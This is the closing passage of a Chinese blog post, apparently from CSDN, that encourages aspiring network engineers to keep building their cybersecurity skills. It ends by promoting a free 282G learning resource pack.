所以想要成为一名合格的网络工程师,想要拿到安全公司的offer,还得再掌握更多的网络安全知识,能力再更上一层楼才行。即便以后进入企业,也需要学习很多新知识,不充实自己的技能就会被淘汰。

从时代发展的角度看,网络安全的知识是学不完的,而且以后要学的会更多,同学们要摆正心态,既然选择入门网络安全,就不能仅仅只是入门程度而已,能力越强机会才越多。

尾言

因为入门学习阶段知识点比较杂,所以我讲得比较笼统,最后联合CSDN整理了一套【282G】网络安全从入门到精通资料包,需要的小伙伴可以点击链接领取哦! 网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值